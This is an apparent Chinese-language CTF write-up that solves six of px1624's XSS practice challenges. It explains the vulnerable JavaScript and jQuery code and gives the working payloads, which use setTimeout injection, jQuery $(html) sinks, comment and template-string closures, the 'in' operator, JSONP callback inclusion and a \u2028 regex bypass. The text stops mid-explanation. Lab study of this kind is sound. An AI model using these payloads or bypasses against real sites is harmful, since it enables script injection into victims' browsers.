前段时间看到了px1624的10题XSS案例,一直留着留着,终于拿出来看看了。还好网站没关。(现在已经变成了12题)
觉得是一个JS基础不是很好的菜鸡补充了解一些JS基础和奇怪姿势的很好的案例,此文包含1-6题(共1w800字),知识点大概包括:
$("<img src=x onerror=alert(1)>")
可以弹框""["constructor"]["constructor"]("alert(1)")()
.
的绕过对于以上列出知识点如果只有个别不清楚的,可以直接在各题知识点中找到它,然后看那一题就行了。
此外还提出了第三题在官方WP中由于篇幅没有提到的使用注释的解法。
实际上px1624有出官方WP,写的很好。但是以菜鸡的角度去看题目总会讲述到一些默认被跳过的但是又有点东西的细节,也做了一点衍生。写文章一向往细了写,结合了看可能也会有所帮助吧?
有错误喷就完事了。
感谢px1624老哥的案例分享
感谢huuu老哥忍受了我一个憨批问题的骚扰和知识点指点
题目:http://px1624.sinaapp.com/test/xsstest1/
1<script type="text/javascript"> 2var x=location.hash; 3function aa(x){}; 4setTimeout("aa('"+x+"')",100); 5</script> 6Give me xss bypass 1~
知识点:
就基础的两个知识点。
取URL中的锚点部分(#
开始的部分,包括#),通常用于用户页面的浏览位置的定位
1URL: "http://px1624.sinaapp.com/test/xsstest1/#');alert('1" 2location.hash: "#');alert('1"
setTimeout函数分为2种使用方式:
setTimeout(JS函数名, 等待的毫秒数,参数1,参数2)
:延时后执行指定JS函数,并传入参数1,参数2setTimeout(JS代码(字符串格式), 等待的毫秒数)
:延时后执行指定字符串中的JS代码,与EVAL类似延迟执行JS代码:
1//执行JS函数aa
2function aa(x){alert(x)};
3setTimeout(aa,100,1);
4//执行js代码:弹框1
5setTimeout("alert('1')",100);
6//执行js代码段:弹框1弹框2
7setTimeout("alert('1');alert('2')",100);
8//js代码段可以调用当前上下文函数
9function aa(x){};
10setTimeout("aa('#');alert('1')",100);
11//因为是字符串,也可以拼接后执行
12setTimeout("aa('"+"#');alert('1"+"')",100);
那么现在再回头去看题目代码,就可以很显而易见的发现就是把location.hash的值拼接进入setTimeout的第一个参数中,而由于setTimeout的特性,第一个字符串参数会被当作JS解析执行。
那么我们只需要闭合前面的,然后执行我们指定的JS代码来进行弹框。
Writeup:
http://px1624.sinaapp.com/test/xsstest1/#');alert('1
题目:http://px1624.sinaapp.com/test/xsstest2/
1<html>
2<head>
3<script src="https://code.jquery.com/jquery-3.4.1.js"></script>
4Give me xss bypass 2~
5<div style='display:none' id='xx'><img src=x onerror=alert(1)></div>
6<input type='button' value='test' onclick='alert("鍝堝搱锛岀偣杩欑帺鎰忔病鍟ョ敤鐨勶紒")'>
7<body>
8<script>
9 var query = window.location.search.substring(1);
10 var vars = query.split("&");
11 if(vars){
12 aa(vars[0],vars[1])
13 }
14 function aa(x,y){
15 $("#xx")[x]($("#xx")[y]());
16 }
17</script>
18</body>
19</html>
知识点:
为URL中的参数部分(?开始的部分,包括?),GET参数。
1URL: "http://px1624.sinaapp.com/test/xsstest1/?a1&b1" 2window.location.search: "?a1&b1" 3//substring(1)从第一位开始截取到最后一位 4window.location.search.substring(1): "a1&b1" 5//query.split("&")根据&分割成数组 6query.split("&"): ["a1","b1"]
取值a1,b1结束后,把值分别填入$("#xx")[x]($("#xx")[y]());
的x和y中。
$('#xx')
就是JQuery语法里面的DOM元素选择器,等同于document.getElementById('xx');
,这里选中了id=xx 的div标签。
利用a[b] 等同于 a.b的JS特性,来进行转换来看,(a1,b1为之前我们&分割的两个字符串):
$("#xx")[a1]($("#xx")[b1]());
->$("#xx").a1($("#xx").b1());
但是a[b]不完全等价于a.b,前者b可以是一个动态的输入的字符串,但是后者就不可以,比如:
lala="append"
a[lala](123)
调用成功a.lala(123) 调用失败
这边显而易见,我们可控输入a1、b1最后控制id为xx的DOM节点的方法。
由于我们可以自主操控DOM节点的方法,那么在这里触发XSS自然是要修改DOM树,写入payload语句进行渲染执行,所以确定a1是一个可以修改DOM树的动作操作:
这里我们可以直接去查看JQuery官方文档找到其中关于文档处理的部分,列出部分函数:
html、append、after、before等等,我们先选取html来修改DOM树。
1$("#xx").html(123) 2//修改id=xx的标签的内容为123 3$("#xx").html("<img src=x onerror=alert(1)>") 4//修改id=xx的标签的内容为一个弹框payload,渲染后就会弹框了
此处在官方WP中还提出此处a1可以使用constructor,并且一笔带过。
事实是,此处确实可以使用constructor来进行弹框,但是其理论基础却不是通过修改DOM树,写入payload语句使页面进行重新渲染导致的。而是直接临时渲染单个节点,具体之后再进行解释。
$("#xx").html($("#xx").b1());
,确定了a1还有一处b1。我们现在需要html括号里面的$("#xx").b1()
返回的内容为一个payload,而xx标签的内容本身就是一个payload,只不过是一个html编码后的payload。
根据文档,html()也是可以直接获取当前节点的内容的。直接$("#xx").html($("#xx").html())
这样获取到编码后的payload可以么?当然不可以,你会发现这只不过是把原来的东西取出来再放回去,怎么可能有用。
我们可以利用text属性会解析html编码的特性得到我们想要的未编码的payload,测试$("#xx").b1()
b1的取值html与text:
1$("#xx").html() 2"<img src=x onerror=alert(1)>" 3$("#xx").text() 4"<img src=x onerror=alert(1)>"
text属性返回被解析后的HTML标签
1//理想中的样子 2$("#xx").html("<img src=x onerror=alert(1)>") 3//用text替换 4$("#xx").html($("#xx").text())
回退回去得到writeup1:
http://px1624.sinaapp.com/test/xsstest2/?html&text
之前说到payload使用constructor也是可以的,writeup2:
http://px1624.sinaapp.com/test/xsstest2/?constructor&text
我们来看下具体技术细节,跳过字符串传递的那一部分,直接来到$("#xx").constructor($("#xx").text())
再跳过之前分析过的text解析html编码的那一部分来到$("#xx").constructor("<img src=x onerror=alert(1)>")
constructor其实就是取$("#xx“)
这个JQuery对象的构造器,然后往构造器里面传参<img src=x onerror=alert(1)
。
1$("#xx").constructor === $().constructor 2true
然而一个指定选择器的JQuery对象的构造器跟一个空的JQuery对象的构造器是完全等价的
创建一个JQuery对象其实就是给一个JQuery对象的构造器传参,所以:
1$("#xx").constructor("<img src=x onerror=alert(1)>") 2//实际上就是等于 3$().constructor("<img src=x onerror=alert(1)>") 4//实际上就是等于 5$("<img src=x onerror=alert(1)>")
$(html),参考官方API或者看源码可以知道他会在一个临时的div中插入我们写入的html标签,但是这个标签不会直接插入到DOM树中,所以不会引起DOM树的变化因此也不会重新渲染页面。
但是它仍然会解析执行我们的标签,虽然没有从源码中或者文档中找到它的渲染原理,但是经过测试,不是所有标签或者JS都会被执行:
1$("<img src=x onerror=alert(1)>") 2//执行弹框 3$("<audio src=dns地址 onerror=alert`1`>") 4//dnslog收到请求,执行弹框 5$("<video src=x onerror=\"javascript:alert(12)\"></video>") 6//执行弹框 7$("<svg onload=alert`1`>") 8//不执行弹框 9$("<script>alert(2)</script>") 10//不执行弹框 11$(alert(1)) 12//执行弹框 13$("alert(1)") 14//不执行弹框
$(console.log(1))
、$(alert(1))
等表达式传参进入都是可以正常执行的。但是执行不是因为DOM操作的执行之所以执行只是单纯先执行alert(1)表达式,其结果再进入$()进行逻辑处理,我们传入的值不符合其预期,但是没有语法错误也是不会报错的。
但是$("console.log(1)")、$(“alert(1)”) 跟标签一样作为字符串传参传入,就不会弹框啦
大致上只有单个标签src=x 加上onerror
事件,会执行里面的JS代码,其他均不渲染执行。(如果有老哥知道原理的 可以跟我交流下,非常感谢)
这种这种执行规则被px1642老哥在WP种写作JQuery的DOM XSS,但是个人理解,这不算在漏洞范畴,而是特性范畴。
最大的问题就是引入最新的3.5.1版本JQuery,在命令行中输入
$("<img src=x onerror=alert(1)>")
仍然会弹框。看以往JQuery 漏洞修复都是过滤器过滤location.hash这类外部数据输入点(会存在#,编码等情况),从而完成修复的。$()直接引入字符串变量的,应该不算是漏洞???
至此就对两类触发原理进行了区分
上面提到constructor是获取前一对象的构造函数,我们可以利用这一特性来构造一个替代弹框的方法:
其根本原理是使用Function来构造匿名函数,然后在其中写入任意的js代码进行执行:
1let sayHi = new Function('alert("Hello")');
2sayHi();
3//弹框Hello
写成一句直接调用
1new Function('alert("Hello")')(); 2//弹框 3//精简去掉 new 和 ; 4Function('alert("Hello")')() 5//弹框
我们要知道Function是所有对象的最原始的构造函数,因为所有基础对象的上一层构造方法就是Function。替换掉Function
1"1".substr
2ƒ substr() { [native code] }
3//substr方法
4typeof("1".substr)
5"function"
6typeof(Object)
7"function"
8typeof(String)
9"function"
10//function类型的构造方法就是Function
11String.constructor === Function
12true
13Object.constructor === Function
14true
15//来加上原来构造好的语句
16String.constructor('alert("Hello")')()
17//弹框
18Object.constructor('alert("Hello")')()
19//弹框
我们还可以进一步构造出function,比如替换String或者弄个新的function
1"1".constructor === String
2true
3//payload1
4"1".constructor.constructor("alert(1)")()
5typeof("1".substr)
6"function"
7//payload2
8"1".substr.constructor("alert(1)")()
再根据a.b与a[b]等价
的定理进行变换,再删个1:
1//payload1 2""["substr"]["constructor"]("alert(1)")() 3//payload2 4""["constructor"]["constructor"]("alert(1)")()
我们一路变形有啥意义么,通常而言,要替换弹框就是为了绕过关键词的检测,但是现在alert(1)
关键词还在,完全就是花里胡哨。
实际上现在"alert(1)"已经变为字符串了,针对字符串,可以使用16进制,8进制转码,我们用8进制转码:
1""["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()
弹框的变形替换就完成了,可以根据环境放入标签中,比如IMG标签中,针对JS代码还可以使用unicode编码:
1<img src=x onerror=""1"["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")()">
完事
题目:http://px1624.sinaapp.com/test/xsstest3/
1Give me xss bypass 3~
2<script src="./jquery-3.4.1.min.js"></script>
3<script>
4 $(function test() {
5 var px = '';
6 if (px != "") {
7 $('xss').val('');
8 }
9 })
10</script>
知识点:
从js的角度没有直接看到DOM类型的函数输入入口,可以判断跟前两题DOM XSS不一样,应该是个反射XSS。
那么参数就靠自己猜了,估摸不是px就是xss。
http://px1624.sinaapp.com/test/xsstest3/?px=123
1Give me xss bypass 3~
2<script src="./jquery-3.4.1.min.js"></script>
3<script>
4 $(function test() {
5 var px = '123';//反射点1
6 if (px != "") {
7 $('xss').val('123');//反射点2
8 }
9 })
10</script>
px参数对应两处反射输出点,看看是否有编码过滤,使用payload:"/<>()'%26;%20=*
1<script> 2 $(function test() { 3 var px = '"/<>()'&; =*'; 4 if (px != "") { 5 $('xss').val('"/<>()'&; =*'); 6 } 7 }) 8</script>
"<>&
/();空格=*
可以发现单引号已经完成了js语句的闭合,在浏览器中也会发现语义会报错,可以确定可以进行注入。
后端实际使用的是htmlspecialchars()该函数的默认配置不转换单引号
先尝试构造出一个合法的js上下文环境进行弹框,比如';alert(1);//
1<script> 2 $(function test() { 3 //此处语法合规 4 var px = '';alert(1);//'; 5 if (px != "") { 6 //此处语法报错 7 $('xss').val('';alert(1);//'); 8 } 9 }) 10</script>
再把下边这个也弄合规,比如');alert(1);//
1<script> 2 $(function test() { 3 //语法错误 4 var px = '');alert(1);//'; 5 if (px != "") { 6 //语法正确 7 $('xss').val('');alert(1);//'); 8 } 9 }) 10</script>
因为语句环境的不通确实无法两全其美,顾此失彼,失败。
因为上下文两处输出位置,会想到使用多行注释进行多行注释,破坏当前语言结构来进行构造。在js中多行注释:
/* xx */
:常见的js多行注释<!-- xxx -->
:这个虽然实际上是HTML注释,本以为可以使用,但是并不可以。
<!--
在谷歌浏览器和火狐浏览器中经过测试是等同于//
-->
不受支持尝试破坏语法结构,主要思路就是注释掉两个反射点中间的语法部分,然后自主重构js:
第一处需要把
*/
放到字符串里取消注释作用/*
第二处
*/
,把前边代码注释/*
关进字符串里,取消注释作用直接上payload:*/if(true){alert(1);var a=';/*';//
拆解一下payload每一个部分的作用:
1*/
2//注释两个插入点中间的代码
3if(true){
4//为了引入一个{来对应之后的}结构
5alert(1);
6//自主js随便写
7var a='
8//为了在反射点2把/*关进字符串,引入一个变量
9//同时'也是闭合反射点1的字符串
10;
11//为了在反射点1的语法正确
12//
13//注释反射点2后面的尾巴
最后页面如下:
1Give me xss bypass 3~
2<script src="./jquery-3.4.1.min.js"></script>
3<script>
4 $(function test() {
5 var px = '*/if(true){alert(1);var a=';/*';//';
6 if (px != "") {
7 $('xss').val('*/if(true){alert(1);var a=';/*';//');
8 }
9 })
10</script>
当然也可以精简一下var a=
这一部分payload:
http://px1624.sinaapp.com/test/xsstest3/?px=*/if(true){alert(1);%27;/*%27;//
还可以精简一下if(true):
语句,神奇的大括号闭合同样不会报错:
http://px1624.sinaapp.com/test/xsstest3/?px=*/{alert(1);%27;/*%27;//
再偷工减料,废物利用下,得到最后12个字符的writeup,(但是这样就不弹1了):
http://px1624.sinaapp.com/test/xsstest3/?px=*/{alert(%27/*
'-alert(1)-'
一开始是没有想到有这种解法的,但是再看完writeup之后,发现这就是XRAY常见的js中的xss payload。
知识点:
writeup:http://px1624.sinaapp.com/test/xsstest3/?px=%27-alert(1)-%27
1Give me xss bypass 3~ 2<script src="./jquery-3.4.1.min.js"></script> 3<script> 4 $(function test() { 5 var px = ''-alert(1)-''; 6 if (px != "") { 7 $('xss').val(''-alert(1)-''); 8 } 9 }) 10</script>
前后闭合单引号'
,中间使用运算符连接-
(可以使用*,+,-,\
等等),再写入js函数alert(1)
可以成功调用。
关于这里中间能够适配的js函数,目前实验出来是已有的函数调用都可以使用
比如
window.open('http://www.baidu.com')
题目:http://px1624.sinaapp.com/test/xsstest4/
1Give me xss bypass 4~
2<script src="./jquery-3.4.1.min.js"></script>
3<script>
4 $(function test() {
5 var px = '';
6 if (px != "") {
7 $('xss').val('');
8 }
9 })
10</script>
知识点:
其实代码还是一模一样,但是服务端过滤规则变化了,不再是对输出字符转义了,而是针对特定字符直接黑名单。
可以使用%00-%ff
进行字符测试,看看哪些字符被ban了。
省事直接取官方WP的中源码的黑名单列表:<>+_*/&|~^%!?=
回顾之前的思路:
使用运算符:运算符连接表达式来执行JS,但是由于算数运算符+-*/%
都被ban了,无法使用
使用注释:我们之前使用的是/*..*/
,由于*也被ban了,无法使用
看似我们又回到了之前的顾头不顾尾的处境中。
在使用注释的思路中,我们是要将两个注入点中间的代码无意义化,破坏上下文结构从而写入自己的代码完成闭合。实际上除了注释,还有其他形式的结构可以实现这样的功能:字符串,将代码当作字符串。
在js中我们知道其实双引号(")其实是支持多行字符组成字符串的:
1var a ="123\ 2456\ 3789"; 4//a 5"123456789"
但是这需要每一行字符的后缀加上\
,在当前场景下不可能。
除此之外,JS中也存在可以容纳换行的字符串结构:模板字符串
模板字符串使用反引号来代替普通字符串中的用双引号和单引号。模板字符串可以包含特定语法(${expression}
)的占位符。
$(表达式)
:可以在模板字符串中使用该形式引入简单表达式1//1.可以包含换行符
2var a=`123
3456`;
4//2.使用表达式,类似于在字符串中使用运算符的情况
5var a=(`123${alert(1)}`);
6//3.定义函数、使用标签执行函数,并传参
7function myTag(strings, personExp, ageExp) {
8 var str0 = strings[0]; // "that "
9 var str1 = strings[1]; // " is a "
10 return str0 + personExp + str1 + ageExp;
11}
12var person = 'Mike';
13var age = 28;
14var output = myTag`that ${ person } is a ${ age }`;
15console.log(output);
16// that Mike is a youngster
带入我们题目的场景,我们需要把模板字符串拆成前后两部分,A反引号B
:
那么只需要各自构造然后拼接就可以了,回到题目上下文环境:
1var px = '插入点';
2// A部分需要闭合一个'、一个;
3//';
1$('xss').val('插入点'); 2} 3//B部分前面都变成字符串的一部分了,需要给模板字符串一个分号作为结束 4//后面还需要闭合一个'、一个)、一个}
老老实实构造一个if语句的poc:http://px1624.sinaapp.com/test/xsstest4/?px=%27;反引号;if(1){alert(%27
(由于MARKDOWN会吞反引号,用中文代替)
1 $(function test() {
2 var px = '';`;if(1){alert('';
3 if (px != "") {
4 $('xss').val('';`;if(1){alert('');
5 }
6 })
然后开始利用浏览器特性开始偷,就是慢慢删、不报错就可以,writeup1:
http://px1624.sinaapp.com/test/xsstest4/?px=%27;反引号;{alert(%27
(13个字符gainover解法)
由于当前有JQuery环境,还可以利用之前提到的$(alert(1))
来弹框,writeup2:
http://px1624.sinaapp.com/test/xsstest4/?px=%27;反引号;{$(alert(1),%27
之前分析看似不行的道路实际上都还有骚操作,深刻教训:查文档请查开发者文档
除了我们知道的一些常见的运算符号,还有一些少用的运算符比如in
、instanceof
。
'' in alert(1)
在漏洞构造的时候 虽然由于数据类型不正确,执行会不成功,但是语法是正确的,同时由于先执行alert(1)函数,然后再处理关系运行符的执行顺序,可以正确执行弹框语句。
'in alert(1) in'
writeup:http://px1624.sinaapp.com/test/xsstest4/?px=%27in%20alert(1)%20in%27
1 $(function test() { 2 var px = ''in alert(1) in''; 3 if (px != "") { 4 $('xss').val(''in alert(1) in''); 5 } 6 })
罗列个运算符标识符清单:
1in 2instanceof 3< 4> 5& 6| 7^ 8+ 9- 10/ 11* 12% 13delete 14void 15typeof 16~ 17!
题目:http://px1624.sinaapp.com/test/xsstest5/
知识点:
访问后会发现地址栏直接传到:http://px1624.sinaapp.com/test/xsstest5/user.php?callback=Give%20me%20xss%20bypass~
在这个页面测试,callback参数无论输入什么都会返回对应的内容,可以写入alert之类的弹框语句,但是这边并不会构成xss。
因为返回的内容体是Content-Type: text/javascript
,这个内容类型跟application/json
之类的类似,都是不会被浏览器按照html解析的。所以一定什么地方我们有疏漏。
我们清空浏览器缓存,抓取数据包的的话会发现实际上这里会有一个跳转行为,访问view-source:http://px1624.sinaapp.com/test/xsstest5/
可以查看默认页面的js源码逻辑。
1 2<html> 3<script src="../jquery-3.4.1.min.js"></script> 4<Script src="./index.js"></Script> 5<head> 6<script type="text/javascript"> 7var orguin = $.Tjs_Get('uin'); 8var pagenum= $.Tjs_Get('pn'); 9if(orguin<=0) window.location="./user.php?callback=Give me xss bypass~"; 10document.write(''); 11</script> 12</head> 13<body> 14Give me xss bypass 5~ 15</body> 16</html>
引入了一个index.js作为库函数使用,$.Tjs_Get
正是其中的方法(会解析出对应GET参数),我们可以到内部去看其逻辑,之后分析。
如果orguin的内容小于=0 就会跳转(就是我们直接访问默认跳转的情况)
不然的话会向当前页面写入一个script标签,其内容是当前网站的某个页面的内容(我们可以控制相对路径和参数)
比较明显,我们的目标就是传入uin参数
和pn参数
,绕过跳转,再利用document.write
来引入一个存在payload的页面。作为script解析执行。
先来看看我们传入的参数收到了怎么样的解析,XSS总是逃不过看关键JS的命运,这里不看之后就看不懂了:
1Tjs_Get:function(parmtname){
2 //在url地址中找到&和#的位置
3 var sl = location.href.indexOf('&');
4 var hl = location.href.indexOf('#');
5 var str = '';
6 //没有&参数分割字符并且有#锚点字符,或者&字符在锚点#之后并且有#锚点字符
7 //就开始解析#锚点之后的参数
8 if ((sl < 0 || sl > hl) && hl > 0) str = location.hash.substr(1);
9 //否则解析get参数
10 else str = location.search.substr(1);
11 //waf1:过滤%,置换为空
12 str=str.replace(/%/g,"");
13 //清空包括?之前的字符,做一个html编码,waf2
14 var SERVER_TEMP = $.Tjs_HtmlEncode(str.replace(/.*\?/,"")); //HtmlEncode 进行安全验证
15 //get参数按照&分割,读取参数名跟我们输出的参数名比对
16 //如果一样就获取值
17 var PAGE_PARMT_ARRAY = SERVER_TEMP.split("&");
18 if(PAGE_PARMT_ARRAY.length==0) return "";
19 var value="";
20 for(var i=0;i<PAGE_PARMT_ARRAY.length;i++){
21 if(PAGE_PARMT_ARRAY[i]=="") continue;
22 var GETname = PAGE_PARMT_ARRAY[i].substr(0,PAGE_PARMT_ARRAY[i].indexOf("="));
23 if(GETname == parmtname){
24 value = PAGE_PARMT_ARRAY[i].substr((PAGE_PARMT_ARRAY[i].indexOf("=")+1),PAGE_PARMT_ARRAY[i].length);
25 return value;
26 break;
27 }
28 }
29 return "";
30},
%
被过滤,替换为空?
之前的字符会被清空不被解析(经过测试为贪婪匹配即最后一个?为准)简单瞅一下自实现的js加密Tjs_HtmlEncode
:正常的html编码
1Tjs_HtmlEncode:function (sStr)
2{
3 sStr = sStr.replace(/&/g,"&");
4 sStr = sStr.replace(/>/g,">");
5 sStr = sStr.replace(/</g,"<");
6 sStr = sStr.replace(/"/g,""");
7 sStr = sStr.replace(/'/g,"'");
8 return sStr;
9},
看完之后我们大致就可以清楚为什么我们直接访问会进行跳转:我们没有传入uin参数,那么获取到的orguin就是""
,在js中""==0
成立,满足""<=0
,于是跳转。
那么第一步我们需要让他不跳转,来进行js调试,根据原理访问http://px1624.sinaapp.com/test/xsstest5/?uin=123
即可。而http://px1624.sinaapp.com/test/xsstest5/?uin=123#
就不行,根据解析规则,他会去截取#之后的字符去解析。
回归payload触发,我们要在script标签中引入一个带有js的页面,我第一反应是直接引入之前题目成功弹框的页面,比如test4:http://px1624.sinaapp.com/test/xsstest4/?px=%27;反引号;{alert(%27
1document.write('<script type="text/javascript" src="http://px1624.sinaapp.com/'+orguin+'?'+pagenum+'"><\/script>');
按照对应的拼接规则来构造payload:http://px1624.sinaapp.com/test/xsstest5/?uin=test/xsstest4/&pn=px=%27;反引号;{alert(%27*
。然后就发现不行,原因有二:
更换思路,我们不能指定的页面不能带有html标签,而是要在对方服务器上找到一个仅仅存在js payload的页面,来引入执行。(根据题目中的url拼接规律是不可以引入其他域名的页面的,只有这种方法可以)
想到之前我们默认访问跳转的页面,我们给啥他返回啥,但是由于内容头不解析的user.php,通过callback指定返回内容:
http://px1624.sinaapp.com/test/xsstest5/user.php?callback=alert(1)
根据拼接规则构造payload,会发现这种思路构造的payload恰好绕过了Tjs_Get的两个waf过滤:既没有%,也没有被编码的关键词,只需要按照处理规则拼接即可:
http://px1624.sinaapp.com/test/xsstest5/?uin=test/xsstest5/user.php&pn=callback=alert(1)
当然根据js代码中获取Tjs_Get
不同的规则,还可以获取锚点中的参数,对应writeup:
http://px1624.sinaapp.com/test/xsstest5/#uin=test/xsstest5/user.php&pn=callback=alert(1)
题目:http://px1624.sinaapp.com/test/xsstest6/
1<html>
2<script src="../jquery-3.4.1.min.js"></script>
3<Script src="./index.js"></Script>
4<head>
5<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
6<script type="text/javascript">
7var orguin = $.Tjs_Get('uin');
8if(orguin<=0) window.location="./user.php?callback=";
9document.write('<script type="text/javascript" src="http://px1624.sinaapp.com/pxpath/'+decodeURIComponent(orguin)+'&'+Math.random()+'"><\/script>');
10</script>
11</head>
12<body>
13Give me xss bypass 6~【任意浏览器弹1就算通过】
14</body>
15</html>
知识点:
.
匹配范畴这是很复杂的一题,按照出题者说是最难的一题。
跟第五题看上去区别不大,index.js中的内容也没有变化,其他有三处变化:
/pxpath/
的不存在的子目录,看样子需要../
去回到上层目录才行回顾之前的Tjs_Get解析分析的结果:
%
被过滤为空?
本身之前的字符会被清空不被解析(经过测试为贪婪匹配即最后一个?为准)这里尝试跟上一题一样构建payload的话就会发现我们必须跟%
、?
这两个waf杠上,因为我们引入的script标签src来源payload所在地:http://px1624.sinaapp.com/test/xsstest5/user.php?callback=alert(1)
就是有一个?
。
按照waf2规则,如果我们使用?
,之前的内容就会被丢弃;如果尝试对?
进行url编码(因为最后拼接前有一个decodeURLComponent url解码,可以恢复出我们的?
)就会因为在读取参数的时候%
被删掉而失败。
那么只有两个思路:
由于域名的限定,当前域名没有符合第二个思路的条件:于是使用一个没有?的payload触发页面的思路,就PASS。
还是来硬肛WAF,两个WAF都是由正则匹配的:
str.replace(/%/g,"");
str.replace(/.*\?/,"")
前者加上了g修饰符完成全局匹配%
,确实没法绕过;看后者实现的逻辑为:**0个或多个除了换行符以外的字符再加上一个?**会被替换为空。
.
:除了换行符以外的字符*
:一次或多次\?
:一个?字符可以注意到他只匹配除换行符以外的字符加一个问号,那么插入一个换行符是不是就可以破坏他的匹配规则?
先给出两种不考虑waf情况的理论poc(js中的参数形式与锚点形式):
1参数形式:"http://px1624.sinaapp.com/test/xsstest6/?uin=../test/xsstest5/user.php?callback=alert(1)" 2//在js处理中会取location.search.substr(1),即: 3uin=../test/xsstest5/user.php?callback=alert(1) 4锚点形式:"http://px1624.sinaapp.com/test/xsstest6/#uin=../test/xsstest5/user.php?callback=alert(1)" 5//在js处理中会取location.hash.substr(1),即: 6uin=../test/xsstest5/user.php?callback=alert(1) 7//script标签的引入地址都是: 8"http://px1624.sinaapp.com/pxpath/../test/xsstest5/user.php?callback=alert(1)"
可以抽象进入str.replace(/.*\?/,"")
的str目前为123?456
的格式,并且这个123?456
是不能被删掉的全都要的数据。
我们知道常见的换行符有/r、/n
,我们来到到谷歌浏览器命令行试验一下:
1"123?456".replace(/.*\?/,"") 2//"456" (匹配到了"123?") 3"123\r?456".replace(/.*\?/,"") 4//"123456" (匹配到了"?",123\456中间有一个看不见的/r) 5//可以发现利用换行符的确可以截断 6//由于我们是要一个?的,但是肯定会被匹配死掉一个,需要引入一个替死鬼 7"?123\r?456".replace(/.*\?/,"") 8//"123?456" (匹配到了第一个"?",中间有一个看不见的/r) 9//这里涉及到为哈不匹配第二个"?"呢,因为他们都满足条件正则条件 10//这种情况在JS中就会匹配第一个符合条件的。
来带入到具体数据:
1uin=../test/xsstest5/user.php?callback=alert(1) 2//加上我们说的开头的替死鬼? 3?uin=../test/xsstest5/user.php?callback=alert(1)
再来确定换行符应该放的位置,我们会发现好像不是能够随便放置的:
1?\ruin=../test/xsstest5/user.php?callback=alert(1) 2//不行,这样的话会改变参数名称导致之后解析获取不到uin 3?uin=\r../test/xsstest5/user.php?callback=alert(1) 4//不行,目录跳转的上层目录应该会解析出错
根据参数解析规则和目录跳转特征,我们会得出两种理论可能可行的方案:
作为一个不使用的参数:?\r&uin=../test/xsstest5/user.php?callback=alert(1)
作为一个子目录再跳上来:?uin=\r/../../test/xsstest5/user.php?callback=alert(1)
很好,然后构造出2种最后的理论可行完整payload地址:
http://px1624.sinaapp.com/test/xsstest6/??\r&uin=../test/xsstest5/user.php?callback=alert(1)
http://px1624.sinaapp.com/test/xsstest6/??uin=\r/../../test/xsstest5/user.php?callback=alert(1)
可以看到有2个?
第一个?会被location.search.substr(1)吞掉,第二个?是为了被正则匹配吃掉的替死鬼
第一个?换成#就是换成了锚点读取参数的方式,即再js逻辑中location.search -> location.hash
丢谷歌浏览器地址栏去尝试,会发现GG,在index.js中下断点发现\r
会被当作是普通字符串解析。
![](https://ctstack-oss.oss-cn-beijing.aliyuncs.com/xss 上 2.jpeg)
这将导致我们一切推导的前提:换行符能够破坏/.*\?/
的正则匹配被抽空掉。
%
,不行题目提示任意浏览器均可肯定有的不行,控制台分别都试下:location="http://px1624.sinaapp.com/test/xsstest6/??\r&uin=../test/xsstest5/user.php?callback=alert(1)"
在谷歌和火狐浏览器中会被直接吞掉:
在IE浏览器会正常解析\r
,然后吞掉:
不得行。换行符换行符,那就换个换行符\n
?肯定还是一样的局面。
看到这里[字符集的参考文档]
结合[正则的参考文档]
使用"123?\u2028456?".replace(/.*\?/,"")
进行一个个测试:
发现\n、\r、\u2028、\u2029
可以拦截.
的匹配(ps.空白字符串没有给到惊喜....)
那么\r、\n不行,试试**\u2028和\u2029**
取IE为例(因为要是浏览器有问题一般肯定是IE有问题,Edge也可),地址栏中直接http://px1624.sinaapp.com/test/xsstest6/??\u2028&uin=../test/xsstest5/user.php?callback=alert(1)
理所应当还是会被作为字符串。
控制台执行location呢:location="http://px1624.sinaapp.com/test/xsstest6/??\u2028&uin=../test/xsstest5/user.php?callback=alert(1)"
完美解析弹框。我们的/u2028被解析成了一个字符传入。
来看看其他浏览器,比如火狐,我们的/u2028会被解析成URL形式,然后被WAF1干掉%,谷歌也是一样的,GG:
此外,这边之前说到的当作子目录形式的payload也是可以的:
location="http://px1624.sinaapp.com/test/xsstest6/??uin=\u2028/../../test/xsstest5/user.php?callback=alert(1)"
所以2种最后writeup:
location="http://px1624.sinaapp.com/test/xsstest6/??\u2028&uin=../test/xsstest5/user.php?callback=alert(1)"
location="http://px1624.sinaapp.com/test/xsstest6/??uin=\u2028/../../test/xsstest5/user.php?callback=alert(1)"
?
可以替换为#
,变为锚点形式的取参其实以上payload都使用了上一题的**/xsstest5/user.php**作为payload触发。
如果要用xsstest6/user.php作为触发器又会有另外一个问题:这个xsstest6的页面callback参数多了另一个限制:限制值得长度小于等于7个字符
即:只能写alert(),不能写alert(1),但是题目要求就是弹框1
我们要想办法弄一个短一点的弹框payload。
在这之前我们要梳理一下之前没详细说明的第六题location的攻击场景:使用location=payload的形式,并不是说真的要让受害者去命令行中执行这一js代码去触发弹框。(虽然我们是这么演示的)而是攻击者会构筑一个网站,在其中写入自定义js代码,执行location跳转触发弹框,流程如下:
比如之前的payload,可以形成这样一个test.html:
1<script> 2 location="http://px1624.sinaapp.com/test/xsstest6/??uin=\u2028/../../test/xsstest5/user.php?callback=alert(1)" 3</script>
然后用Edge打开页面(模拟受害者访问攻击者服务器页面)就可以自动跳转触发。
回到使用xsstest6的触发点:缩短弹框函数
其实利用原理JQuery $() DOM XSS特性在第二题中已经详细的分析了,就是$("<img src=x onerror=alert(1)>")
可以作为alert(1)的弹框替代,但是这么长一串反而超长了。
我们只要把img标签设置成一个变量就可以达到缩短长度的目的。
1var a="<img src=x onerror=alert(1)>" 2$(a) 3//弹框
理想中是想构建一个payload如下:
1<script> 2 var a="<img src=x onerror=alert(1)>" 3 location="http://px1624.sinaapp.com/test/xsstest6/??uin=\u2028/../../test/xsstest5/user.php?callback=$(a)" 4</script>
不用试就知道显而易见不可以,因为location会进行跳转,跳转过去的页面,在处理时,我们的a参数是肯定不会传递过去的,JS解析$(a),找不到变量a,肯定报错。
整理一下:我们的callback参数的内容:是一段我们可控的、会在px1624.sinaapp.com域下进行执行的js代码。其长度不能超过7个字符。
我们想到$(a)
,4个字符的弹框方式,但是px1624.sinaapp.com/test/xsstest6/这个页面下的js环境中又没有我们要的a:"<img src=x onerror=alert(1)>"
这就明确了目标:
$(a)
这个参数。于是windows.name跨域传输参数
感谢Huuu师父忍受了憨批错误的骚扰和指出了此处的技术原理
